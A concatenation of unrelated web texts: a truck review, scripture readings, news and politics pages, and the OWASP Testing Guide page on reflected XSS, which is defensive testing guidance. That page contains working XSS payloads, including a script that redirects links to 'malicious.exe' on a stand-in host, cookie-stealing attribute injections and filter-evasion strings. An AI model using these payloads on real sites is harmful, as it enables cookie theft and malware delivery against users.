The new 2013 RAM 1500 retains its ruggedly handsome appearance with all-new interior and exterior design aesthetics, improved aerodynamics and all-new segment-leading technology, and every RAM 1500 truck benefits from new content specifically designed to match each model's unique style. RAM Truck brand designers started with the RAM grille, making it not only larger with the same overall width, but approximately one inch taller "saddled" within the new upper fascia panel for a more integrated appearance. The classic RAM crosshair horizontal and vertical grille bars are now flush at the top and bottom of the grille surround. The new front bumper design supports the "saddled" RAM grille theme with new vertically oriented fog lamps for improved light spread, distance and more lumens. Larger openings around the front tow hooks (four-wheel drive models) allow for easy access to the hooks.
The 2013 RAM 1500 quad headlamp design has improved light spread, pattern consistency, distance and 30 percent more lumens. An all-new premium headlamp lighting system is a bi-functional halogen projector design with 15 amber LEDs for park/turn/position lamp and three amber LEDs for the side marker. For 2013, the RAM 1500 offers 12 different colors, including five new shades. Black Gold, Copperhead, Maximum Steel Metallic, Prairie and Western Brown are all new and available in a monotone and/or two-tone depending on the model.
The new, polished stainless steel running boards have a sturdy box cross-section design. Also, the new wheel-to-wheel exclusive running board design offers aerodynamic improvements over the current version and provides customers' improved access to the forward portion of the truck bed. A new 6-ft.-4-in. bed option is now available on Crew Cab models, giving customers the ability to combine RAM 1500's largest available cab with the largest four-door/bed combination. All-new premium tail lamps are standard and consist of 15 red LEDs with three red LEDs for the side marker. Our test model added even more features with the Longhorn edition including lower two-toned paint and 20-inch aluminum polished wheels with gold inserts.
As good as the exterior looks on the 2013 RAM 1500 Laramie Longhorn Edition Crew Cab 4×4, the interior space is just as special. For 2013, new features and technologies create opportunity for a redesigned interior with material upgrades; improved fit and finish; all-new interior themes with different colors and materials; all-new HVAC controls and new multimedia systems. The 2013 RAM 1500 also features an exclusive 8-speed transmission with a new rotary e-shift dial design. Rear occupants can enjoy the same quality, fit and finish as the driver. With points of contact a priority, new premium materials, colors and designs are now on all four doors. Soft-touch materials enhance armrests and upper bolsters with expanded use of premium surfaces.
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Amyris Inc. has named R. Neil Williams, Intuit's CFO, as a member of Amyris's board of directors and the chair of its audit committee.
Meanwhile, Patrick Pichette, who served on our board for the last three years, has agreed to stay as a member of our strategic advisory board.
Williams, who has a 30-year career in the financial services industry, has been Intuit Inc.'s senior vice president and CFO since January 2008. At Intuit, he has been responsible for all financial aspects of the company, including corporate strategy and business development, investor relations, financial operations and real estate.
"I look forward to supporting Amyris's cutting edge technology development and growth-strategy execution. Amyris's synthetic biology platform, now operating at industrial scale in Brazil, offers considerable opportunities across a broad range of renewable chemical and fuel applications," said Williams.


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Daily Readings for Tuesday, December 10, 2024
- Morning Psalms 33; 146
- First Reading Isaiah 5:18-25
- Second Reading 1 Thessalonians 5:12-28
- Gospel Reading Luke 21:29-38
- Evening Psalms 85; 94
Morning Psalm 33
1 Rejoice in the LORD, O you righteous.
Praise befits the upright.
2 Praise the LORD with the lyre;
make melody to him with the harp of ten strings.
3 Sing to him a new song;
play skillfully on the strings, with loud shouts.
4 For the word of the LORD is upright,
and all his work is done in faithfulness.
5 He loves righteousness and justice;
the earth is full of the steadfast love of the LORD.
6 By the word of the LORD the heavens were made,
and all their host by the breath of his mouth.
7 He gathered the waters of the sea as in a bottle;
he put the deeps in storehouses.
8 Let all the earth fear the LORD;
let all the inhabitants of the world stand in awe of him.
9 For he spoke, and it came to be;
he commanded, and it stood firm.
10 The LORD brings the counsel of the nations to nothing;
he frustrates the plans of the peoples.
11 The counsel of the LORD stands forever,
the thoughts of his heart to all generations.
12 Happy is the nation whose God is the LORD,
the people whom he has chosen as his heritage.
13 The LORD looks down from heaven;
he sees all humankind.
14 From where he sits enthroned he watches
all the inhabitants of the earth —
15 he who fashions the hearts of them all,
and observes all their deeds.
16 A king is not saved by his great army;
a warrior is not delivered by his great strength.
17 The war horse is a vain hope for victory,
and by its great might it cannot save.
18 Truly the eye of the LORD is on those who fear him,
on those who hope in his steadfast love,
19 to deliver their soul from death,
and to keep them alive in famine.
20 Our soul waits for the LORD;
he is our help and shield.
21 Our heart is glad in him,
because we trust in his holy name.
22 Let your steadfast love, O LORD, be upon us,
even as we hope in you.
Morning Psalm 146
1 Praise the LORD!
Praise the LORD, O my soul!
2 I will praise the LORD as long as I live;
I will sing praises to my God all my life long.
3 Do not put your trust in princes,
in mortals, in whom there is no help.
4 When their breath departs, they return to the earth;
on that very day their plans perish.
5 Happy are those whose help is the God of Jacob,
whose hope is in the LORD their God,
6 who made heaven and earth,
the sea, and all that is in them;
who keeps faith forever;
7 who executes justice for the oppressed;
who gives food to the hungry.
The LORD sets the prisoners free;
8 the LORD opens the eyes of the blind.
The LORD lifts up those who are bowed down;
the LORD loves the righteous.
9 The LORD watches over the strangers;
he upholds the orphan and the widow,
but the way of the wicked he brings to ruin.
10 The LORD will reign forever,
your God, O Zion, for all generations.
Praise the LORD!
First Reading Isaiah 5:18-25
18Ah, you who drag iniquity along with cords of falsehood,
who drag sin along as with cart ropes,
19who say, "Let him make haste,
let him speed his work
that we may see it;
let the plan of the Holy One of Israel hasten to fulfillment,
that we may know it!"
20Ah, you who call evil good
and good evil,
who put darkness for light
and light for darkness,
who put bitter for sweet
and sweet for bitter!
21Ah, you who are wise in your own eyes,
and shrewd in your own sight!
22Ah, you who are heroes in drinking wine
and valiant at mixing drink,
23who acquit the guilty for a bribe,
and deprive the innocent of their rights!
24Therefore, as the tongue of fire devours the stubble,
and as dry grass sinks down in the flame,
so their root will become rotten,
and their blossom go up like dust;
for they have rejected the instruction of the LORD of hosts,
and have despised the word of the Holy One of Israel.
25Therefore the anger of the LORD was kindled against his people,
and he stretched out his hand against them and struck them;
the mountains quaked,
and their corpses were like refuse in the streets.
For all this his anger has not turned away,
and his hand is stretched out still.
Second Reading 1 Thessalonians 5:12-28
12But we appeal to you, brothers and sisters, to respect those who labor among you, and have charge of you in the Lord and admonish you; 13esteem them very highly in love because of their work. Be at peace among yourselves. 14And we urge you, beloved, to admonish the idlers, encourage the faint hearted, help the weak, be patient with all of them. 15See that none of you repays evil for evil, but always seek to do good to one another and to all. 16Rejoice always, 17pray without ceasing, 18give thanks in all circumstances; for this is the will of God in Christ Jesus for you. 19Do not quench the Spirit. 20Do not despise the words of prophets, 21but test everything; hold fast to what is good; 22abstain from every form of evil.
23May the God of peace himself sanctify you entirely; and may your spirit and soul and body be kept sound and blameless at the coming of our Lord Jesus Christ. 24The one who calls you is faithful, and he will do this.
25Beloved, pray for us.
26Greet all the brothers and sisters with a holy kiss. 27I solemnly command you by the Lord that this letter be read to all of them.
28The grace of our Lord Jesus Christ be with you.
Gospel Reading Luke 21:29-38
29Then he told them a parable: "Look at the fig tree and all the trees; 30as soon as they sprout leaves you can see for yourselves and know that summer is already near. 31So also, when you see these things taking place, you know that the kingdom of God is near. 32Truly I tell you, this generation will not pass away until all things have taken place. 33Heaven and earth will pass away, but my words will not pass away.
34"Be on guard so that your hearts are not weighed down with dissipation and drunkenness and the worries of this life, and that day catch you unexpectedly, 35like a trap. For it will come upon all who live on the face of the whole earth. 36Be alert at all times, praying that you may have the strength to escape all these things that will take place, and to stand before the Son of Man."
37Every day he was teaching in the temple, and at night he would go out and spend the night on the Mount of Olives, as it was called. 38And all the people would get up early in the morning to listen to him in the temple.
Evening Psalm 85
1 LORD, you were favorable to your land;
you restored the fortunes of Jacob.
2 You forgave the iniquity of your people;
you pardoned all their sin. Selah
3 You withdrew all your wrath;
you turned from your hot anger.
4 Restore us again, O God of our salvation,
and put away your indignation toward us.
5 Will you be angry with us forever?
Will you prolong your anger to all generations?
6 Will you not revive us again,
so that your people may rejoice in you?
7 Show us your steadfast love, O LORD,
and grant us your salvation.
8 Let me hear what God the LORD will speak,
for he will speak peace to his people,
to his faithful, to those who turn to him in their hearts.
9 Surely his salvation is at hand for those who fear him,
that his glory may dwell in our land.
10 Steadfast love and faithfulness will meet;
righteousness and peace will kiss each other.
11 Faithfulness will spring up from the ground,
and righteousness will look down from the sky.
12 The LORD will give what is good,
and our land will yield its increase.
13 Righteousness will go before him,
and will make a path for his steps.
Evening Psalm 94
1O LORD, you God of vengeance,
you God of vengeance, shine forth!
2Rise up, O judge of the earth;
give to the proud what they deserve!
3O LORD, how long shall the wicked,
how long shall the wicked exult?
4They pour out their arrogant words;
all the evildoers boast.
5They crush your people, O LORD,
and afflict your heritage.
6They kill the widow and the stranger,
they murder the orphan,
7and they say, "The LORD does not see;
the God of Jacob does not perceive."
8Understand, O dullest of the people;
fools, when will you be wise?
9He who planted the ear, does he not hear?
He who formed the eye, does he not see?
10He who disciplines the nations,
he who teaches knowledge to humankind,
does he not chastise?
11The LORD knows our thoughts,
that they are but an empty breath.
12Happy are those whom you discipline, O LORD,
and whom you teach out of your law,
13giving them respite from days of trouble,
until a pit is dug for the wicked.
14For the LORD will not forsake his people;
he will not abandon his heritage;
15for justice will return to the righteous,
and all the upright in heart will follow it.
16Who rises up for me against the wicked?
Who stands up for me against evildoers?
17If the LORD had not been my help,
my soul would soon have lived in the land of silence.
18When I thought, "My foot is slipping,"
your steadfast love, O LORD, held me up.
19When the cares of my heart are many,
your consolations cheer my soul.
20Can wicked rulers be allied with you,
those who contrive mischief by statute?
21They band together against the life of the righteous,
and condemn the innocent to death.
22But the LORD has become my stronghold,
and my God the rock of my refuge.
23He will repay them for their iniquity
and wipe them out for their wickedness;
the LORD our God will wipe them out.


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As everybody knows, Slash has licks for days. But who among us knew that the current Velvet Revolver and former Guns N' Roses guitarist could last on his feet for an entire marathon? Turns out he had a little help.
Fifty helpers, in fact. As part of the worldwide launch of Slash's new Gibson and Epiphone signature model Les Pauls, 50 Slash look-a-likes donned wigs, top hats, sunglasses, and even cigarettes dangling from their mouths, and in what was called "Dash for Slash," ran the 26.2-mile LA Marathon in Los Angeles, California.
The Gibson/Epiphone Slash signature models don't hit stores until 1 April. If there's a marathon in your area before then, don't be surprised to see a Slash or two run by. Or fifty of them. In the meantime, check out the dedicated Gibson Slash Signature Series website.


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Here: an overview of the pathophysiology of chronic cough, its epidemiology and etiology; the clinical evaluation, diagnostic workup, and a summary of treatment options.
Chronic cough in children presents some unique challenges. Many adult diagnoses, such as COPD and chronic bronchitis, are not recognized entities in the pediatric literature. The underlying diagnosis can therefore be difficult to determine.
Understandably, long-standing cough is stressful for the family and patient. Families may seek multiple medical consultations in quest of symptom resolution. In a study of 190 children, in a 12-month period, more than 80% had more than 1 doctor visits and more than 50% had more than 10 doctor visits for chronic cough.1 Clinical studies found 2 major fears expressed by mothers were that their child was going to die as a result of choking on phlegm or vomit or of an asthma attack or cot death and that their child would have long-term chest damage as a result of ongoing cough. Mothers reported disturbed sleep because of their fears.2
In this article, I present an overview of the pathophysiology of chronic cough and its epidemiology and etiology. I also offer helpful tips for the clinical evaluation and diagnostic workup, a tip sheet for assessing the evidence for underlying disease, and a summary of treatment options.
Please click here for the full article.
1. Marchant JM, Newcombe PA, Juniper EF, et al. What is the burden of chronic cough for families? Chest. 2008;134:303-309.
2. Cornford CS, Morgan M, Ridsdale L. Why do mothers consult when their children cough? Fam Pract. 1993;10:193-196.
Psychological interventions for asthma and stress reduction
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A bundle of federal incentives encouraged 45 states to adopt Common Core national standards and tests. But a new poll shows that most Americans have no idea what the Common Core is—even though it will have major ramifications for their children and their tax dollars.
Phi Delta Kappa and Gallup have just released their 45th annual poll on the Americans' attitude toward public education. According to the poll:
- 62 percent of Americans have never heard of the Common Core;
- Among those who said they have heard of Common Core, most said they were only "somewhat knowledgeable";
- Among those who said they have heard of Common Core, less than half thought the standards would make the U.S. more competitive internationally; and
- Most of those who are familiar with Common Core "neither understand it nor embrace it."
These figures reveal an overwhelming lack of public knowledge on what the Common Core national standards are, even as students are starting to come home with Common Core–aligned textbooks. It's reminiscent of former House Speaker Nancy Pelosi's 2010 comment that "We have to pass [Obamacare] so you can find out what's in it."
But as implementation of the new centralized standards moves forward, parents will soon learn what's in Common Core, and taxpayers will learn what it will cost them.
Common Core is yet another top-down approach to education reform. American citizens were not engaged in the decision-making process to adopt the standards. Rather, state officials were enticed to adopt the standards through (1) stimulus funding and (2) a process that completely circumvented Congress: the Administration offering No Child Left Behind waivers to states that agreed to adopt common standards.
The PDK poll is another indication of how little public input there has been in the Common Core push.
Centralized education is not conducive to the American model of self-government. Self-government in education requires empowering families with educational opportunity to make sure their children can inherit the blessings of a free society.
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Testing for Reflected Cross site scripting (OTG-INPVAL-001)
This article is part of the new OWASP Testing Guide v4.
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Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.
Reflected XSS are the most frequent type of XSS attacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.
When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual
execution of the offending code using the victim's browser.
Commonly the attacker's code is written in the Javascript language, but other scripting languages are also used, e.g., ActionScript and VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).
One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out "<script>", but might not filter %3cscript%3e which simply includes another encoding of tags.
How to Test
Black Box testing
A black-box test will include at least three phases:
1. Detect input vectors. For each web page, the tester must determine all the web application's user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.
2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually.
Some example of such input data are the following:
For a comprehensive list of potential test strings, see the XSS Filter Evasion Cheat Sheet.
3. For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.
Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are:
> (greater than) < (less than) & (ampersand) ' (apostrophe or single quote) " (double quote)
However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [1].
Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include:
\n (new line) \r (carriage return) \' (apostrophe or single quote) \" (double quote) \\ (backslash) \uXXXX (unicode values)
For a more complete reference, see the Mozilla JavaScript guide. [2]
Example 1
For example, consider a site that has a welcome notice " Welcome %username% " and a download link.
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability.
Let's try to click on the following link and see what happens:
If no sanitization is applied this will result in the following popup:
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.
Example 2
Let's try other piece of code (link):
http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
This produces the following behavior:
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.
Bypass XSS filters
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.
Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.
The XSS Filter Evasion Cheat Sheet documents common filter evasion tests.
Example 3: Tag Attribute Value
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of <script> tags and even without the use of characters such as " < > and / that are commonly filtered.
For example, the web application could use the user input value to fill an attribute, as shown in the following code:
<input type="text" name="state" value="INPUT_FROM_USER">
Then an attacker could submit the following code:
" onfocus="alert(document.cookie)
Example 4: Different syntax or encoding
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter.
Following some examples:
"><script >alert(document.cookie)</script >
Example 5: Bypassing non-recursive filtering
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:
Example 6: Including external script
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script:
<? $re = "/<script[^>]+src/i"; if (preg_match($re, $_GET['var'])) { echo "Filtered"; return; } echo "Welcome ".$_GET['var']." !"; ?>
In this scenario there is a regular expression checking if <script [anything but the character: '>' ] src is inserted. This is useful for filtering expressions like
<script src="http://attacker/xss.js"></script>
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, http://example/.
Example 7: HTTP Parameter Pollution (HPP)
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the Testing for HTTP Parameter pollution for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-
based security mechanisms.
Regular attack:
Attack using HPP:
Result expected
Gray Box testing
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester.
If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented.
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at https://1337.yehg.net/CAL9000/ .
- PHP Charset Encoder(PCE) - http://h4k.in/encoding [mirror: http://yehg.net/e ]
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols.
- XSS-Proxy - http://xss-proxy.sourceforge.net/
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
- ratproxy - http://code.google.com/p/ratproxy/
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.
- Burp Proxy - http://portswigger.net/proxy/
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.
- OWASP Zed Attack Proxy (ZAP) - OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.
- OWASP Xenotix XSS Exploit Framework - OWASP_Xenotix_XSS_Exploit_Framework
OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. It provides Zero False Positive scan results with its unique Triple Browser Engine (Trident, WebKit, and Gecko) embedded scanner. It is claimed to have the world's 2nd largest XSS Payloads of about 1600+ distinctive XSS Payloads for effective XSS vulnerability detection and WAF Bypass. Xenotix Scripting Engine allows you to create custom test cases and addons over the Xenotix API. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation.
OWASP Resources
- Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
- Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
- Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
- CERT - Malicious HTML Tags Embedded in Client Web Requests: Read
- Rsnake - XSS Cheat Sheet: Read
- cgisecurity.com - The Cross Site Scripting FAQ: Read
- G.Ollmann - HTML Code Injection and Cross-site scripting: Read
- A. Calvo, D.Tiscornia - alert('A javascritp agent'): Read
- S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web browser threat: Read


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Todd Akin on Foreign PolicyRepublican Representative (MO-2); Senate Challenger 2012 |
Proponent's argument to vote Yes:Rep. IKE SKELTON (D, MO-4): Pakistan is important to the Middle East and our intentions there. Their cooperation, of course, is so very, very important. This legislation gives economic and democratic development assistance to that country.
Rep. HOWARD BERMAN (D, CA-28): We can't allow al Qaeda or any other terrorist group that threatens our national security to operate with impunity in the tribal regions or any other part of Pakistan. Nor can we permit the Pakistani state and its nuclear arsenal to be taken over by the Taliban. To help prevent this nightmare scenario, we need to forge a true strategic partnership with Pakistan and its people, strengthen Pakistan's democrat government, and work to make Pakistan a source of stability in a volatile region.
Opponent's argument to vote No:Rep. ILEANA ROS-LEHTINEN (R, FL-18): This bill focuses on past actions and failures attributed to the Pakistani Government, punishing the new leadership for the sins of its predecessors. While the authors of H.R. 1886 may have sought to empower our Pakistani partners to undertake the formidable task of fighting and winning against violent extremists, it does the opposite. We have gone down this road before. I recall during the Iraq debate, Members sought to prejudge the surge strategy before it could even be implemented. Let us hope that this will not be repeated with respect to Pakistan and Afghanistan.
Proponent's argument to vote Yes:Rep. HOWARD BERMAN (D, CA-28): Integrating India into a global nonproliferation regime is a positive step. Before anyone gets too sanctimonious about India's nuclear weapons program, we should acknowledge that the five recognized nuclear weapons states have not done nearly enough to fulfill their commitments under the Nuclear Nonproliferation Treaty, including making serious reductions in their own arsenals, nor in the case of the US in ratifying the Comprehensive Test Ban Treaty.
Opponent's argument to vote No:Rep. BARBARA LEE (D, CA-9): In withholding my approval, I seek not to penalize the people of India but, rather, to affirm the principle of nuclear nonproliferation. Jettisoning adherence to the international nuclear nonproliferation framework that has served the world so well for more than 30 years, as approval of the agreement before us would do, is just simply unwise. It is also reckless.
Approval of this agreement undermines our efforts to dissuade countries like Iran and North Korea from developing nuclear weapons. By approving this agreement, all we are doing is creating incentives for other countries to withdraw from the Nuclear Nonproliferation Treaty.
Title: Condemning the Government of the People's Republic of China for its poor human rights record.
OFFICIAL CONGRESSIONAL SUMMARY: Prohibits the use of appropriated funds for the establishment or operation of the International Criminal Court. Declares that any action taken by or on behalf of the Court: (1) against any member of the US armed forces shall be considered an act of aggression against the US; or (2) against any US citizen or national shall be considered an offense against the law of nations.
SPONSOR'S INTRODUCTORY REMARKS: Rep. PAUL: This bill prohibits funds made available by the US Government from being used for the establishment or operation of the International Criminal Court. Perhaps the most significant part of the bill makes clear that any action taken by or on behalf of the Court against members of the US Armed Forces shall be considered an act of aggression against the US.
In May 2002, Pres. Bush took the commendable step of repudiating the Statute of the International Criminal Court. The Court is an illegitimate body even by the UN's own standards. The Statute of the International Criminal Court was enacted by the UN General Assembly, whereas according to the UN Charter, the authority to create such a body lies only in the UN Security Council.
The International Criminal Court puts US citizens in jeopardy of unlawful and unconstitutional criminal prosecution. The Court does not provide many of the Constitutional protections guaranteed every American citizen, including the right to trial by jury, the right to face your accuser, and the presumption of innocence, and the protection against double jeopardy.
Members of the US Armed Forces are particularly at risk for politically motivated arrests, prosecutions, fines, and imprisonment for acts engaged in for the protection of the US. I hope all members of this body will join me in opposing this illegitimate and illegal court.
LEGISLATIVE OUTCOME:Referred to House Committee on International Relations; never came to a vote.
The Arab American Institute has compiled a Scorecard to catalogue the voting record of the 112th Congress on issues of importance to the Arab American community. For the House, we included 15 items: two bills on the Arab Spring, five bills and one letter on Palestine, two bills on Lebanon, three bills and a letter regarding civil liberties, and two bills on immigration.
Dear Secretary Clinton:
We are writing to reaffirm our commitment to the unbreakable bond that exists between our country and the State of Israel and to express to you our deep concern over recent tension. In every important relationship, there will be occasional misunderstandings and conflicts.
Our valuable bilateral relationship with Israel needs and deserves constant reinforcement. As the Vice-President said during his recent visit to Israel: "Progress occurs in the Middle East when everyone knows there is simply no space between the U.S. and Israel when it comes to security, none. No space." Steadfast American backing has helped lead to Israeli peace treaties with Egypt and Jordan. And American involvement continues to be critical to the effort to achieve peace between Israel and the Palestinians.
We recognize that, despite the extraordinary closeness between our country and Israel, there will be differences over issues both large and small. Our view is that such differences are best resolved quietly, in trust and confidence, as befits longstanding strategic allies. We hope and expect that, with mutual effort and good faith, the United States and Israel will move beyond this disruption quickly, to the lasting benefit of both nations.
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MO Gubernatorial: Jay Nixon MO Senatorial: Claire McCaskill John Brunner Roy Blunt Sarah Steelman Retiring to run for other office: Running for President: TX-14:Ron Paul(R) Running for Mayor: CA-51:Bob Filner(D) Running for Governor: IN-6:Mike Pence(R) WA-1:Jay Inslee(D) Running for Senate: AZ-6:Jeff Flake(R) CT-5:Chris Murphy(R) FL-14:Connie Mack(R) HI-2:Mazie Hirono(D) IN-2:Joe Donnelly(D) MO-2:Todd Akin(R) MT-0:Dennis Rehberg(R) ND-0:Rick Berg(D) NM-1:Martin Heinrich(D) NV-1:Shelley Berkley(D) NY-9:Bob Turner(R) WI-2:Tammy Baldwin(D) |
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